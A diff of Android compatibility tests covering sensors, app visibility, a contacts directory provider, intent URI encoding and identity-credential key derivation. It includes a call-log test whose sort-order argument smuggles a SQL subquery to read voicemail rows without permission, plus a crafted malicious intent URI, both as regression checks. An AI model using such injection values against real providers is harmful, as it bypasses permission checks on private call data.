--- a/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorAdditionalInfoTest.java
@@ -55,13 +55,12 @@
List<Sensor> list = mSensorManager.getSensorList(Sensor.TYPE_ALL);
List<String> errors = new ArrayList<String>();
for (Sensor s : list) {
- // skip vendor sensor types, one-shot and on-change sensors.
- if (s.getType() >= Sensor.TYPE_DEVICE_PRIVATE_BASE ||
- s.getReportingMode() == Sensor.REPORTING_MODE_ONE_SHOT ||
- s.getReportingMode() == Sensor.REPORTING_MODE_ON_CHANGE) {
+ // Only test sensor additional info for Accelerometer, Gyroscope and Magnetometer.
+ if (s.getType() != Sensor.TYPE_ACCELEROMETER &&
+ s.getType() != Sensor.TYPE_GYROSCOPE &&
+ s.getType() != Sensor.TYPE_MAGNETIC_FIELD) {
continue;
}
-
if (!s.isAdditionalInfoSupported()) {
// check SensorAdditionalInfo is supported for Automotive sensors.
if (getContext().getPackageManager().hasSystemFeature(
@@ -266,7 +265,7 @@
// Checks sensor placement data length and determinant of rotation matrix is 1.
private void verifySensorPlacementData(float[] m) {
- if(m.length != 12) {
+ if(m.length < 12) {
mIsSensorPlacementSizeValid = false;
return;
}
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
index 6503bdb..26f6b90 100644
--- a/tests/tests/appenumeration/AndroidTest.xml
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -26,7 +26,7 @@
<option name="force-queryable" value="false" />
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAppEnumerationTestCases.apk" />
- <option name="test-file-name" value="CtsAppEnumerationForceQueryable.apk" />
+ <option name="test-file-name" value="CtsAppEnumerationForceQueryableNormalInstall.apk" />
<option name="test-file-name" value="CtsAppEnumerationFilters.apk" />
<option name="test-file-name" value="CtsAppEnumerationNoApi.apk" />
<option name="test-file-name" value="CtsAppEnumerationContactsActivityTarget.apk" />
@@ -61,6 +61,12 @@
<option name="test-file-name" value="CtsAppEnumerationWildcardBrowserActivitySource.apk" />
</target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="force-queryable" value="true" />
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsAppEnumerationForceQueryable.apk" />
+ </target_preparer>
+
<!-- Create place to store apks -->
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/cts/appenumeration" />
diff --git a/tests/tests/appenumeration/app/target/Android.bp b/tests/tests/appenumeration/app/target/Android.bp
index 04ebc78..b3afe4b 100644
--- a/tests/tests/appenumeration/app/target/Android.bp
+++ b/tests/tests/appenumeration/app/target/Android.bp
@@ -27,6 +27,20 @@
}
android_test_helper_app {
+ name: "CtsAppEnumerationForceQueryableNormalInstall",
+ manifest: "AndroidManifest-forceQueryable-normalInstall.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
name: "CtsAppEnumerationFilters",
manifest: "AndroidManifest-filters.xml",
defaults: ["cts_support_defaults"],
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable-normalInstall.xml b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable-normalInstall.xml
new file mode 100644
index 0000000..2918e37
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable-normalInstall.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.forcequeryable.normalinstall">
+ <application android:forceQueryable="true">
+ <!-- This app will not be a system app and should be installed as a normal app (not
+ forceQueryable) to ensure it's not visible by default -->
+ <uses-library android:name="android.test.runner" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
index e6535b3..041d350 100644
--- a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
@@ -18,6 +18,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.appenumeration.forcequeryable">
<application android:forceQueryable="true">
+ <!-- This app will not be a system app and so must be installed as forceQueryable by the
+ test framework -->
<uses-library android:name="android.test.runner" />
</application>
</manifest>
diff --git a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
index 6fcba54..d7c8dae 100644
--- a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
+++ b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
@@ -78,8 +78,13 @@
public static final String TARGET_SHARED_USER = PKG_BASE + "noapi.shareduid";
/** A package that exposes itself via various intent filters (activities, services, etc.) */
public static final String TARGET_FILTERS = PKG_BASE + "filters";
- /** A package that declares itself force queryable, making it visible to all other packages */
+ /** A package that declares itself force queryable, making it visible to all other packages.
+ * This is installed as forceQueryable as non-system apps cannot declare themselves as such. */
public static final String TARGET_FORCEQUERYABLE = PKG_BASE + "forcequeryable";
+ /** A package that declares itself force queryable, but is installed normally making it not
+ * visible to other packages */
+ public static final String TARGET_FORCEQUERYABLE_NORMAL =
+ PKG_BASE + "forcequeryable.normalinstall";
/** A package with no published API and so isn't queryable by anything but package name */
public static final String TARGET_NO_API = PKG_BASE + "noapi";
/** A package that offers an activity used for opening / editing file types */
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index d95970b..cfd12a2 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -66,6 +66,7 @@
import static android.appenumeration.cts.Constants.TARGET_FILTERS;
import static android.appenumeration.cts.Constants.TARGET_FILTERS_APK;
import static android.appenumeration.cts.Constants.TARGET_FORCEQUERYABLE;
+import static android.appenumeration.cts.Constants.TARGET_FORCEQUERYABLE_NORMAL;
import static android.appenumeration.cts.Constants.TARGET_NO_API;
import static android.appenumeration.cts.Constants.TARGET_SHARE;
import static android.appenumeration.cts.Constants.TARGET_SHARED_USER;
@@ -177,6 +178,15 @@
}
@Test
+ public void all_cannotSeeForceQueryableInstalledNormally() throws Exception {
+ assertNotVisible(QUERIES_NOTHING, TARGET_FORCEQUERYABLE_NORMAL);
+ assertNotVisible(QUERIES_ACTIVITY_ACTION, TARGET_FORCEQUERYABLE_NORMAL);
+ assertNotVisible(QUERIES_SERVICE_ACTION, TARGET_FORCEQUERYABLE_NORMAL);
+ assertNotVisible(QUERIES_PROVIDER_AUTH, TARGET_FORCEQUERYABLE_NORMAL);
+ assertNotVisible(QUERIES_PACKAGE, TARGET_FORCEQUERYABLE_NORMAL);
+ }
+
+ @Test
public void startExplicitly_canStartNonVisible() throws Exception {
assertNotVisible(QUERIES_NOTHING, TARGET_FILTERS);
startExplicitIntentViaComponent(QUERIES_NOTHING, TARGET_FILTERS);
diff --git a/tests/tests/contactsprovider/Android.bp b/tests/tests/contactsprovider/Android.bp
index ac20675..67f5687 100644
--- a/tests/tests/contactsprovider/Android.bp
+++ b/tests/tests/contactsprovider/Android.bp
@@ -23,8 +23,13 @@
"truth-prebuilt",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+
+ // Include the GAL provider source code to pull in the constants.
+ "gal/src/**/*.java",
+ ],
sdk_version: "test_current",
- min_sdk_version: "21",
+ min_sdk_version: "30",
}
diff --git a/tests/tests/contactsprovider/AndroidManifest.xml b/tests/tests/contactsprovider/AndroidManifest.xml
index f81bb5e..23f01fe 100644
--- a/tests/tests/contactsprovider/AndroidManifest.xml
+++ b/tests/tests/contactsprovider/AndroidManifest.xml
@@ -18,7 +18,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.provider.cts.contacts">
- <uses-sdk android:targetSdkVersion="29" />
+ <uses-sdk android:targetSdkVersion="30" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
@@ -38,14 +38,6 @@
<meta-data android:name="android.accounts.AccountAuthenticator"
android:resource="@xml/contactprovider_authenticator"/>
</service>
-
- <provider
- android:name=".DummyGalProvider"
- android:authorities="android.provider.cts.contacts.dgp"
- android:exported="true"
- android:readPermission="android.permission.BIND_DIRECTORY_SEARCH" >
- <meta-data android:name="android.content.ContactDirectory" android:value="true" />
- </provider>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/contactsprovider/AndroidTest.xml b/tests/tests/contactsprovider/AndroidTest.xml
index 0d6562f..35c6b21 100644
--- a/tests/tests/contactsprovider/AndroidTest.xml
+++ b/tests/tests/contactsprovider/AndroidTest.xml
@@ -25,6 +25,7 @@
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsContactsProviderTestCases.apk" />
+ <option name="test-file-name" value="CtsContactsProviderGalProvider.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/contactsprovider/gal/Android.bp b/tests/tests/contactsprovider/gal/Android.bp
new file mode 100644
index 0000000..4804a85
--- /dev/null
+++ b/tests/tests/contactsprovider/gal/Android.bp
@@ -0,0 +1,14 @@
+android_test_helper_app {
+ name: "CtsContactsProviderGalProvider",
+ defaults: ["cts_defaults"],
+
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+
+ srcs: ["src/**/*.java"],
+
+ min_sdk_version: "30",
+}
diff --git a/tests/tests/contactsprovider/gal/AndroidManifest.xml b/tests/tests/contactsprovider/gal/AndroidManifest.xml
new file mode 100644
index 0000000..e738ae3
--- /dev/null
+++ b/tests/tests/contactsprovider/gal/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.provider.cts.contacts.galprovider">
+
+ <uses-sdk android:targetSdkVersion="30" />
+
+ <application>
+ <provider
+ android:name=".CtsGalProvider"
+ android:authorities="android.provider.cts.contacts.gal"
+ android:exported="true"
+ android:readPermission="android.permission.BIND_DIRECTORY_SEARCH" >
+ <meta-data android:name="android.content.ContactDirectory" android:value="true" />
+ </provider>
+ </application>
+</manifest>
+
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/DummyGalProvider.java b/tests/tests/contactsprovider/gal/src/android/provider/cts/contacts/galprovider/CtsGalProvider.java
similarity index 84%
rename from tests/tests/contactsprovider/src/android/provider/cts/contacts/DummyGalProvider.java
rename to tests/tests/contactsprovider/gal/src/android/provider/cts/contacts/galprovider/CtsGalProvider.java
index 7609143..6806204 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/DummyGalProvider.java
+++ b/tests/tests/contactsprovider/gal/src/android/provider/cts/contacts/galprovider/CtsGalProvider.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.provider.cts.contacts;
+package android.provider.cts.contacts.galprovider;
import android.content.ContentProvider;
import android.content.ContentValues;
@@ -26,7 +26,6 @@
import android.provider.ContactsContract.Contacts;
import android.provider.ContactsContract.Directory;
import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.contacts.account.StaticAccountAuthenticator;
import android.text.TextUtils;
import android.util.Log;
@@ -36,15 +35,17 @@
/**
* GAL provider for CTS.
*/
-public class DummyGalProvider extends ContentProvider {
- private static final String TAG = "DummyGalProvider";
+public class CtsGalProvider extends ContentProvider {
+ private static final String TAG = "GalProvider";
- public static final String AUTHORITY = "android.provider.cts.contacts.dgp";
+ // The main CTS refers to it.
+ public static final String GAL_PACKAGE_NAME = "android.provider.cts.contacts.galprovider";
+ public static final String AUTHORITY = "android.provider.cts.contacts.gal";
- public static final String ACCOUNT_NAME = "dummygal";
- public static final String ACCOUNT_TYPE = StaticAccountAuthenticator.TYPE;
+ public static final String ACCOUNT_NAME = "ctsgal";
+ public static final String ACCOUNT_TYPE = "com.android.cts.contactsprovider";
- public static final String DISPLAY_NAME = "dummy-gal";
+ public static final String DISPLAY_NAME = "cts-gal";
public static final String ERROR_MESSAGE_KEY = "error";
public static final String QUERY_KEY = "query";
@@ -54,23 +55,14 @@
private static final int GAL_DIRECTORIES = 0;
private static final int GAL_FILTER = 1;
- private static final int GAL_CONTACT = 2;
- private static final int GAL_CONTACT_WITH_ID = 3;
- private static final int GAL_EMAIL_FILTER = 4;
- private static final int GAL_PHONE_FILTER = 5;
- private static final int GAL_PHONE_LOOKUP = 6;
+ private static final int SUB_PATH = 1;
private static final UriMatcher sURIMatcher = new UriMatcher(UriMatcher.NO_MATCH);
static {
sURIMatcher.addURI(AUTHORITY, "directories", GAL_DIRECTORIES);
sURIMatcher.addURI(AUTHORITY, "contacts/filter/*", GAL_FILTER);
- // The following URIs are not supported by this class.
-// sURIMatcher.addURI(AUTHORITY, "contacts/lookup/*/entities", GAL_CONTACT);
-// sURIMatcher.addURI(AUTHORITY, "contacts/lookup/*/#/entities", GAL_CONTACT_WITH_ID);
-// sURIMatcher.addURI(AUTHORITY, "data/emails/filter/*", GAL_EMAIL_FILTER);
-// sURIMatcher.addURI(AUTHORITY, "data/phones/filter/*", GAL_PHONE_FILTER);
-// sURIMatcher.addURI(AUTHORITY, "phone_lookup/*", GAL_PHONE_LOOKUP);
+ sURIMatcher.addURI(AUTHORITY, "sub/*", SUB_PATH);
}
@Override
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
new file mode 100644
index 0000000..f91015a
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.CallLog;
+import android.provider.CallLog.Calls;
+import android.test.InstrumentationTestCase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class CallLogProviderTest extends InstrumentationTestCase {
+ private ContentResolver mContentResolver;
+ private ContentProviderClient mProvider;
+
+ private static final String TEST_NUMBER = "5551234";
+ private static final int TIME_OUT_MILLIS = 5000;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+ mProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
+ }
+
+ public void testNoSubqueries() throws Exception {
+ // Add a single call just to make sure the call log has something inside
+ ContentValues values = new ContentValues();
+ values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+ values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+ values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+ values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+
+ mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+ // Attempt to do a query that contains a subquery -- this should fail since this test does
+ // not have READ_VOICEMAIL.
+ try {
+ Cursor c = mProvider.query(Calls.CONTENT_URI, null, CallLog.Calls.NUMBER + " = ?",
+ new String[]{TEST_NUMBER},
+ "date DESC LIMIT (SELECT count(*) + 1 FROM calls WHERE type = 4");
+ assertEquals(0, c.getCount());
+ } catch (IllegalArgumentException e) {
+ // expected/tolerated
+ }
+ }
+
+ public void testUpdate() throws Exception {
+ // Add a single call just to make sure the call log has something inside
+ ContentValues values = new ContentValues();
+ values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+ values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+ values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+ values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+ Uri uri = mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+ CountDownLatch changeLatch = new CountDownLatch(1);
+ mContentResolver.registerContentObserver(
+ CallLog.Calls.CONTENT_URI, true,
+ new ContentObserver(null /* handler */) {
+ @Override
+ public void onChange(boolean selfChange, Uri uri) {
+ mContentResolver.unregisterContentObserver(this);
+ changeLatch.countDown();
+ super.onChange(selfChange);
+ }
+ });
+
+ // Update it!
+ values.put(CallLog.Calls.DURATION, Long.valueOf(6 /*call duration*/));
+ int numUpdated = mContentResolver.update(uri, values, null, null);
+ assertEquals(1, numUpdated);
+ try {
+ assertTrue(changeLatch.await(TIME_OUT_MILLIS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ fail("Expected update notification.");
+ }
+ }
+
+ public void testDelete() throws Exception {
+ // Add a single call just to make sure the call log has something inside
+ ContentValues values = new ContentValues();
+ values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+ values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+ values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+ values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+ Uri uri = mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+ CountDownLatch changeLatch = new CountDownLatch(1);
+ mContentResolver.registerContentObserver(
+ CallLog.Calls.CONTENT_URI, true,
+ new ContentObserver(null /* handler */) {
+ @Override
+ public void onChange(boolean selfChange, Uri uri) {
+ mContentResolver.unregisterContentObserver(this);
+ changeLatch.countDown();
+ super.onChange(selfChange);
+ }
+ });
+
+ // Delete it.
+ // Yuck, you can't just delete using the uri passed in; you need to build a where clause.
+ int count = mContentResolver.delete(Calls.CONTENT_URI, Calls._ID + "="
+ + ContentUris.parseId(uri), null);
+ assertEquals(1, count);
+ try {
+ assertTrue(changeLatch.await(TIME_OUT_MILLIS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ fail("Expected update notification.");
+ }
+ }
+}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
index c3706d3..d800206 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
@@ -18,6 +18,7 @@
import android.accounts.Account;
import android.accounts.AccountManager;
import android.content.ContentResolver;
+import android.content.pm.PackageManager.NameNotFoundException;
import android.database.Cursor;
import android.database.DatabaseUtils;
import android.net.Uri;
@@ -25,8 +26,9 @@
import android.provider.ContactsContract;
import android.provider.ContactsContract.Contacts;
import android.provider.ContactsContract.Directory;
-import android.provider.cts.contacts.DummyGalProvider;
+import android.provider.cts.contacts.galprovider.CtsGalProvider;
import android.test.AndroidTestCase;
+import android.util.Log;
import org.json.JSONObject;
@@ -36,6 +38,8 @@
* the check in there, so it won't create the account multiple times.
*/
public class ContactsContract_DirectoryTest extends AndroidTestCase {
+ private static final String TAG = "ContactsContract_DirectoryTest";
+
private ContentResolver mResolver;
private AccountManager mAccountManager;
private Account mAccount;
@@ -49,7 +53,7 @@
mResolver = getContext().getContentResolver();
mAccountManager = getContext().getSystemService(AccountManager.class);
- mAccount = new Account(DummyGalProvider.ACCOUNT_NAME, DummyGalProvider.ACCOUNT_TYPE);
+ mAccount = new Account(CtsGalProvider.ACCOUNT_NAME, CtsGalProvider.ACCOUNT_TYPE);
// The directory table is populated asynchronously. Wait for it...
waitForDirectorySetup();
@@ -75,19 +79,19 @@
while (SystemClock.elapsedRealtime() < timeout) {
try (Cursor c = getContext().getContentResolver().query(Directory.CONTENT_URI,
null, Directory.ACCOUNT_NAME + "=? and " + Directory.ACCOUNT_TYPE + "=?",
- new String[]{DummyGalProvider.ACCOUNT_NAME, DummyGalProvider.ACCOUNT_TYPE},
+ new String[]{CtsGalProvider.ACCOUNT_NAME, CtsGalProvider.ACCOUNT_TYPE},
null)) {
if (c.getCount() == 0) {
Thread.sleep(1000);
continue;
}
assertTrue(c.moveToPosition(0));
- assertEquals(getContext().getPackageName(), getString(c, Directory.PACKAGE_NAME));
- assertEquals(DummyGalProvider.AUTHORITY,
+ assertEquals(CtsGalProvider.GAL_PACKAGE_NAME, getString(c, Directory.PACKAGE_NAME));
+ assertEquals(CtsGalProvider.AUTHORITY,
getString(c, Directory.DIRECTORY_AUTHORITY));
- assertEquals(DummyGalProvider.DISPLAY_NAME, getString(c, Directory.DISPLAY_NAME));
- assertEquals(DummyGalProvider.ACCOUNT_NAME, getString(c, Directory.ACCOUNT_NAME));
- assertEquals(DummyGalProvider.ACCOUNT_TYPE, getString(c, Directory.ACCOUNT_TYPE));
+ assertEquals(CtsGalProvider.DISPLAY_NAME, getString(c, Directory.DISPLAY_NAME));
+ assertEquals(CtsGalProvider.ACCOUNT_NAME, getString(c, Directory.ACCOUNT_NAME));
+ assertEquals(CtsGalProvider.ACCOUNT_TYPE, getString(c, Directory.ACCOUNT_TYPE));
return c.getLong(c.getColumnIndex(Directory._ID));
}
}
@@ -127,14 +131,28 @@
// The result is stored in the display_name column.
final JSONObject result = new JSONObject(getString(c, Contacts.DISPLAY_NAME));
- if (result.has(DummyGalProvider.ERROR_MESSAGE_KEY)) {
- fail(result.getString(DummyGalProvider.ERROR_MESSAGE_KEY));
+ if (result.has(CtsGalProvider.ERROR_MESSAGE_KEY)) {
+ fail(result.getString(CtsGalProvider.ERROR_MESSAGE_KEY));
}
- assertEquals("12", result.getString(DummyGalProvider.LIMIT_KEY));
- assertEquals("[QUERY]", result.getString(DummyGalProvider.QUERY_KEY));
+ assertEquals("12", result.getString(CtsGalProvider.LIMIT_KEY));
+ assertEquals("[QUERY]", result.getString(CtsGalProvider.QUERY_KEY));
assertEquals(getContext().getPackageName(),
- result.getString(DummyGalProvider.CALLER_PACKAGE_NAME_KEY));
+ result.getString(CtsGalProvider.CALLER_PACKAGE_NAME_KEY));
+ }
+
+ // After getting any result from the gal provider, the package will become visible.
+ assertTrue("GAL provider should be visible here", isGalProviderVisible());
+ }
+
+ private boolean isGalProviderVisible() {
+ try {
+ String pkg = CtsGalProvider.GAL_PACKAGE_NAME;
+ int uid = getContext().getPackageManager().getPackageUid(pkg, 0);
+ Log.w(TAG, "UID of " + pkg + " = " + uid);
+ return true;
+ } catch (NameNotFoundException e) {
+ return false;
}
}
}
diff --git a/tests/tests/content/src/android/content/cts/IntentTest.java b/tests/tests/content/src/android/content/cts/IntentTest.java
index c76a0fb..f085e29 100644
--- a/tests/tests/content/src/android/content/cts/IntentTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentTest.java
@@ -16,6 +16,8 @@
package android.content.cts;
+import static com.google.common.truth.Truth.assertThat;
+
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserException;
@@ -1885,6 +1887,49 @@
assertSame(dummyParcelable, origSubExtras.get("baddy"));
}
+ public void testEncoding() throws URISyntaxException {
+ // This doesn't validate setPackage, as it's not possible to have both an explicit package
+ // and a selector but the inner selector Intent later on will cover setPackage
+ Intent intent = new Intent("action#base")
+ .setClassName("com.example.test.app", "com.example.test.app.IntendedActivity")
+ .addCategory("category#base")
+ .setType("type#base")
+ .setIdentifier("identifier#base")
+ .setComponent(ComponentName.createRelative("package.sub#base", ".Class#Base"))
+ .putExtra("extraKey#base", "extraValue#base");
+
+ // Insert malicious scheme to be encoded to avoid deserialization errors (b/261858325)
+ Uri badUri = Uri.fromParts(new Intent()
+ .setClassName("com.example.malicious.app",
+ "com.example.malicious.app.MaliciousActivity")
+ .toUri(Intent.URI_INTENT_SCHEME),
+ "", null);
+ Intent selectorIntent = new Intent().setData(badUri)
+ .addCategory("category#selector")
+ .setType("type#selector")
+ .setIdentifier("identifier#selector")
+ .setPackage("package#selector")
+ .setComponent(
+ ComponentName.createRelative("package.sub#selector", ".Class#Selector"))
+ .putExtra("extraKey#selector", "extraValue#selector");
+ intent.setSelector(selectorIntent);
+
+ String uriString = intent.toUri(Intent.URI_INTENT_SCHEME);
+ Intent deserialized = Intent.parseUri(uriString, Intent.URI_INTENT_SCHEME);
+
+ assertThat(uriString).isEqualTo(
+ "intent:#Intent;action=action%23base;category=category%23base;type=type%23base;"
+ + "identifier=identifier%23base;component=package.sub%23base/"
+ + ".Class%23Base;S.extraKey%23base=extraValue%23base;SEL;"
+ + "category=category%23selector;type=type%23selector;"
+ + "identifier=identifier%23selector;package=package%23selector;"
+ + "component=package.sub%23selector/.Class%23Selector;S"
+ + ".extraKey%23selector=extraValue%23selector;end");
+
+ assertThat(deserialized.toInsecureString())
+ .isEqualTo(intent.toInsecureString());
+ }
+
private static class TestSerializable implements Serializable {
static final long serialVersionUID = 1l;
public String Name;
diff --git a/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java b/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
index 06ae8ab..c63b793 100644
--- a/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
@@ -102,16 +102,6 @@
// Since we cannot get the implementation name or author at this layer, we can't test for
// it. This can be tested for in the VTS test, however.
- // As per the IC HAL, the keymasterVersion field should be the version of the Identity
- // Credential HAL - 1.0 - and this is encoded as major*10 + minor. This field is used by
- // Keymaster which is known to report integers less than or equal to 4 (for KM up to 4.0)
- // and integers greater or equal than 41 (for KM starting with 4.1).
- //
- // Since we won't get to version 4.0 of the IC HAL for a while, let's also check that a KM
- // version isn't errornously returned.
- assertTrue(record.getKeymasterVersion() >= 10);
- assertTrue(record.getKeymasterVersion() < 40);
-
// Check that the challenge we passed in, is in fact in the attestation record.
assertArrayEquals(challenge, record.getAttestationChallenge());
diff --git a/tests/tests/identity/src/android/security/identity/cts/Util.java b/tests/tests/identity/src/android/security/identity/cts/Util.java
index df9a300..bbd6ee7 100644
--- a/tests/tests/identity/src/android/security/identity/cts/Util.java
+++ b/tests/tests/identity/src/android/security/identity/cts/Util.java
@@ -37,6 +37,7 @@
import java.security.KeyStore;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
+import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.PublicKey;
import java.security.PrivateKey;
@@ -1002,15 +1003,10 @@
byte[] sessionTranscriptBytes =
Util.prependSemanticTagForEncodedCbor(encodedSessionTranscript);
- byte[] sharedSecretWithSessionTranscriptBytes =
- Util.concatArrays(sharedSecret, sessionTranscriptBytes);
- byte[] salt = new byte[1];
- byte[] info = new byte[0];
-
- salt[0] = 0x00;
- byte[] derivedKey = Util.computeHkdf("HmacSha256",
- sharedSecretWithSessionTranscriptBytes, salt, info, 32);
+ byte[] salt = MessageDigest.getInstance("SHA-256").digest(sessionTranscriptBytes);
+ byte[] info = new byte[] {'E', 'M', 'a', 'c', 'K', 'e', 'y'};
+ byte[] derivedKey = Util.computeHkdf("HmacSha256", sharedSecret, salt, info, 32);
SecretKey secretKey = new SecretKeySpec(derivedKey, "");
return secretKey;
} catch (InvalidKeyException
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index e316b4d..c24f26b 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -123,6 +123,7 @@
</intent-filter>
</activity>
<activity android:name="android.media.cts.MockActivity" />
+ <activity android:name="android.media.cts.MediaRouter2TestActivity" />
<service android:name="android.media.cts.RemoteVirtualDisplayService"
android:process=":remoteService" >
<intent-filter>
diff --git a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
index 271db7d..0a75047 100644
